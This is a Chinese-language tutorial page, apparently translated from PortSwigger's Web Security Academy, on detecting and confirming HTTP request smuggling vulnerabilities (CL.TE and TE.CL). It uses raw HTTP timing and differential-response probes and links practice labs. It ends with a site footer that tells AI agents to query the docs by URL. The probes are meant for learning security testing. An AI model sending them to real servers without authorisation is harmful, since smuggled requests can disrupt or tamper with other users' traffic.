# 查找HTTP请求走私漏洞

在本节中，我们将介绍用于发现HTTP请求走私漏洞的不同技术。

## 使用计时技术发现HTTP请求走私漏洞

检测HTTP请求走私漏洞通用最有效的方法是发送请求，如果存在漏洞，应用程序的响应会出现时间延迟。这种技术被Burp Scanner用于自动检测请求走私漏洞。

### **使用计时技术发现CL.TE漏洞**

如果一个应用程序易受到CL.TE类型请求走私的攻击，那么发送如下请求通常会导致时间延迟：

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X
```

由于前端服务器使用`Content-Length`标头，因此它只会转发此请求的一部分，省略`X`。后端服务器使用`Transfer-Encoding`标头，处理第一个分块，然后等待下一个分块的到来。这将导致一个可观察到的时间延迟。

### **使用计时技术发现TE.CL漏洞**

如果一个应用程序易受到TE.CL类型请求走私的攻击，那么发送如下请求往往会导致时间延迟：

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X
```

由于前端服务器使用`Transfer-Encoding`标头，因此它只会转发此请求的一部分，省略`X`。后端服务器使用`Content-Length`标头，期望在消息正文中有更多内容，并等待剩余内容的到来。这将导致一个可观察到的时间延迟。

> **注意**
>
> 如果应用程序易受CL.TE类型漏洞的攻击，基于时间的TE.CL漏洞测试将有可能干扰其他应用程序用户。因此，为了隐蔽和减少干扰，应该先使用CL.TE测试，只有在第一个测试不成功时才继续进行TE.CL测试。

## 使用差异响应确认HTTP请求走私漏洞

在检测到一个可能的请求走私漏洞后，你可以通过利用它来触发应用程序响应内容的差异，从而获得关于该漏洞的进一步证据。这涉及到向应用程序快速连续地发送两个请求：

* 一个“攻击”请求，旨在干扰下一个请求的处理。
* 一个“正常”请求。

如果正常请求的响应包含预期的干扰，那么就证实了该漏洞。

例如，假设正常请求如下所示：

```http
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling
```

这个请求通常会收到一个状态码为200的HTTP响应，其中包含一些搜索结果。

干扰该请求所需的攻击请求取决于存在的请求走私类型：CL.TE与TE.CL。

### **使用差异响应确认CL.TE漏洞**

要确认CL.TE漏洞，你需要发送这样的攻击请求：

```http
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x
```

如果攻击成功，那么后端服务器将此请求的最后两行视为属于收到的下一个请求。这将使随后的“正常”请求看起来像这样：

```http
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling
```

由于此请求现在包含一个无效的URL，服务器将以404状态码进行响应，表明攻击请求确实对其造成了干扰。

> **LAB**
>
> [HTTP请求走私，通过差异响应确认CL.TE漏洞](https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses)

### **使用差异响应确认TE.CL漏洞**

要确认TE.CL漏洞，你需要发送这样的攻击请求：

```http
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0
```

> **注意**
>
> 要使用Burp Repeater发送此请求，你首先需要转到Repeater菜单，确保取消选中“Update Content-Length”选项。
>
> 需要在最后一个`0`之后包含尾随序列`\r\n\r`。

如果攻击成功，那么从`GET /404`开始的所有内容都将被后端服务器视为属于收到的下一个请求。这将使随后的“正常”请求看起来像这样：

```http
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling
```

由于此请求现在包含一个无效的URL，服务器将以状态码404进行响应，表明攻击请求确实对其造成了干扰。

> **LAB**
>
> [HTTP请求走私，通过差异响应确认TE.CL漏洞](https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses)

> **注意**
>
> 在尝试通过干扰其他请求来确认请求走私漏洞时，应注意以下几点：
>
> * “攻击”请求和“正常”请求应使用不同的网络连接发送到服务器。通过相同的连接发送这两个请求并不能证明漏洞存在。
> * “攻击”请求和“正常”请求应尽可能使用相同的URL和参数名称。这是因为许多现代应用程序根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数可以增加请求被同一个后端服务器处理的机会，这对于攻击的成功是至关重要的。
> * 在测试“正常”请求以检测“攻击”请求的任何干扰时，你需要与应用程序同时接收的其他请求（包括其他用户的请求）进行竞争。你应该在“攻击”请求之后立即发送“正常”请求。如果应用程序繁忙，你可能需要进行多次尝试以确认漏洞。
> * 在某些应用程序中，前端服务器充当负载均衡的作用，并根据某种负载均衡算法将请求转发到不同的后端系统。如果你的“攻击”和“正常”请求被转发到不同的后端系统，那么攻击将会失败。这是在确认漏洞之前需要尝试多次的另一个原因。
> * 如果你的攻击成功干扰了后续请求，但这不是你发送的用于检测干扰的“正常”请求，那么这意味着你的攻击影响了另一个应用程序用户。如果继续执行测试，可能会对其他用户产生破坏性影响，你应该谨慎行事。

> **阅读更多**
>
> [利用HTTP请求走私漏洞](/wsa/advanced/request-smuggling/exploiting.md)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web-sec.gitbook.io/wsa/advanced/request-smuggling/finding.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.